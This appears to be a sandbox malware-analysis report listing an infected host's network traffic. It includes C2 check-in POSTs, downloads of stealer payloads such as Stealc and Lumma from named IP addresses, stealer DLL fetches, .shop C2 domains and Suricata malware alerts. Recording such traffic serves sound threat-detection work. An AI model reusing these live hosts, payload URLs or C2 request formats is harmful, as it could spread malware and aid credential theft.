Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 91.202.233.158 91.202.233.158
Source: Joe Sandbox View IP Address: 185.215.113.26 185.215.113.26
Source: Joe Sandbox View IP Address: 185.215.113.26 185.215.113.26
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: M247GB M247GB
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49711 -> 185.215.113.117:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49713 -> 194.116.215.195:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49716 -> 185.215.113.26:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49724 -> 176.113.115.95:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49720 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49725 -> 185.215.113.117:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49722 -> 185.215.113.17:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49728 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49733 -> 185.215.113.117:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49740 -> 185.215.113.117:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49744 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49749 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49759 -> 185.215.113.103:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49766 -> 185.215.113.103:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49753 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49774 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49799 -> 185.215.113.103:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49812 -> 185.215.113.16:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ballotnwu.site
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_0019A879 SetCurrentDirectoryA,GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,CreateFileA,InternetOpenA,InternetOpenUrlA,InternetReadFile,WriteFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,RemoveDirectoryA, 16_2_0019A879
Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /inc/gold.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: GET /12dsvc.exe HTTP/1.1Host: 194.116.215.195
Source: global traffic HTTP traffic detected: GET /Nework.exe HTTP/1.1Host: 185.215.113.26
Source: global traffic HTTP traffic detected: GET /inc/stealc_default2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.17Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /thebig/stories.exe HTTP/1.1Host: 176.113.115.95
Source: global traffic HTTP traffic detected: GET /inc/needmoney.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/penis.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/LummaC222222.exe HTTP/1.1Host: 185.215.113.117
